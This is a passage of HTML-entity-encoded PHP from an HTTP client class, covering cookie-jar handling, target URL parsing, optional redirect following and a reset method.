	
	return $this-&gt;server_header;
}


/**
 * This function is called by the
 * cookiejar&#40;&#41; function. It adds the
 * value of the &quot;Set-Cookie&quot; header
 * in the &quot;Cookie&quot; header for the
 * next request. You don&#39;t have to
 * call it.
 * 
 * @access private
 * @param  string code ServerResponse
 * 
 */
function getcookie&#40;&#41;
{
	foreach&#40;explode&#40;&quot;&#92;r&#92;n&quot;,$this-&gt;getheader&#40;&#41;&#41; as $header&#41;
	{
		if&#40;preg_match&#40;&#39;/set-cookie/i&#39;,$header&#41;&#41;
		{
			$fequal = strpos&#40;$header,&#39;=&#39;&#41;;
			$fvirgu = strpos&#40;$header,&#39;;&#39;&#41;;
			
			// 12=strlen&#40;&#39;set-cookie: &#39;&#41;
			$cname  = substr&#40;$header,12,$fequal-12&#41;;
			$cvalu  = substr&#40;$header,$fequal+1,$fvirgu-&#40;strlen&#40;$cname&#41;+12+1&#41;&#41;;
			
			$this-&gt;cookie[trim&#40;$cname&#41;] = trim&#40;$cvalu&#41;;
		}
	}
}


/**
 * This function is called by the
 * get&#40;&#41;/post&#40;&#41; functions. You
 * don&#39;t have to call it.
 *
 * @access  private
 * @param   string urltarg Url
 * @example $this-&gt;target&#40;&#39;http://localhost/&#39;&#41;
 * 
 */
function target&#40;$urltarg&#41;
{
	if&#40;!ereg&#40;&#39;^http://&#39;,$urltarg&#41;&#41;
	   $urltarg = &#39;http://&#39;.$urltarg;
	   
	$urlarr     = parse_url&#40;$urltarg&#41;;
	$this-&gt;url  = &#39;http://&#39;.$urlarr[&#39;host&#39;].$urlarr[&#39;path&#39;];
	
	if&#40;isset&#40;$urlarr[&#39;query&#39;]&#41;&#41;
	   $this-&gt;url .= &#39;?&#39;.$urlarr[&#39;query&#39;];
	
	$this-&gt;port = !empty&#40;$urlarr[&#39;port&#39;]&#41; ? $urlarr[&#39;port&#39;] : 80;
	$this-&gt;host = $urlarr[&#39;host&#39;];
	
	if&#40;$this-&gt;port != &#39;80&#39;&#41;
	   $this-&gt;host .= &#39;:&#39;.$this-&gt;port;

	if&#40;!isset&#40;$urlarr[&#39;path&#39;]&#41; or empty&#40;$urlarr[&#39;path&#39;]&#41;&#41;
	   die&#40;&quot;Error: No path precised&quot;&#41;;

	$this-&gt;path = substr&#40;$urlarr[&#39;path&#39;],0,strrpos&#40;$urlarr[&#39;path&#39;],&#39;/&#39;&#41;+1&#41;;

	if&#40;$this-&gt;port &gt; 65535&#41;
	   die&#40;&quot;Error: Invalid port number&quot;&#41;;
}


/**
 * If you call this function,
 * the script will extract all
 * &#39;Set-Cookie&#39; headers values
 * and it will automatically add
 * them into the &#39;Cookie&#39; header
 * for all next requests.
 *
 * @access  public
 * @param   integer code 1&#40;enabled&#41; 0&#40;disabled&#41;
 * @example $this-&gt;cookiejar&#40;0&#41;
 * @example $this-&gt;cookiejar&#40;1&#41;
 * 
 */
function cookiejar&#40;$code&#41;
{
	if&#40;$code==&#39;0&#39;&#41;
	   $this-&gt;cookiejar=FALSE;

	elseif&#40;$code==&#39;1&#39;&#41;
	   $this-&gt;cookiejar=TRUE;
}


/**
 * If you call this function,
 * the script will follow all
 * redirections sent by the server.
 * 
 * @access  public
 * @param   integer code 1&#40;enabled&#41; 0&#40;disabled&#41;
 * @example $this-&gt;allowredirection&#40;0&#41;
 * @example $this-&gt;allowredirection&#40;1&#41;
 * 
 */
function allowredirection&#40;$code&#41;
{
	if&#40;$code==&#39;0&#39;&#41;
	   $this-&gt;allowredirection=FALSE;
	   
	elseif&#40;$code==&#39;1&#39;&#41;
	   $this-&gt;allowredirection=TRUE;
}


/**
 * This function is called if
 * allowredirection&#40;&#41; is enabled.
 * You don&#39;t have to call it.
 *
 * @access private
 * @return string $this-&gt;get&#40;&#39;http://&#39;.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection&#41;
 * @return string $this-&gt;get&#40;$this-&gt;last_redirection&#41;
 * @return string $this-&gt;recv;
 * 
 */
function getredirection&#40;&#41;
{
	if&#40;preg_match&#40;&#39;/&#40;location|content-location|uri&#41;: &#40;.*&#41;/i&#39;,$this-&gt;getheader&#40;&#41;,$codearr&#41;&#41;
	{
		$this-&gt;last_redirection = trim&#40;$codearr[2]&#41;;
		
		if&#40;!ereg&#40;&#39;://&#39;,$this-&gt;last_redirection&#41;&#41;
		   return $this-&gt;get&#40;&#39;http://&#39;.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection&#41;;

		else
		   return $this-&gt;get&#40;$this-&gt;last_redirection&#41;;
	}
	else
	   return $this-&gt;recv;
}


/**
 * This function allows you
 * to reset some parameters.
 * 
 * @access  public
 * @param   string func Param
 * @example $this-&gt;reset&#40;&#39;header&#39;&#41;
 * @example $this-&gt;reset&#40;&#39;cookie&#39;&#41;
 * @example $this-&gt;reset&#40;&#41;
 * 
 */
function reset&#40;$func=&#39;&#39;&#41;
{
	switch&#40;$func&#41;
	{
		case &#39;header&#39;:
		$this-&gt;header = array&#40;&#39;&#39;&#41;;
		break;
			
		case &#39;cookie&#39;:
		$this-&gt;cookie = array&#40;&#39;&#39;&#41;;
		break;
			
		default:
		$this-&gt;cookiejar = &#39;&#39;;
		$this-&gt;header = array&#40;&#39;&#39;&#41;;
		$this-&gt;cookie = array&#40;&#39;&#39;&#41;;
		$this-&gt;allowredirection = &#39;&#39;;
		break;
	}
}

}

?>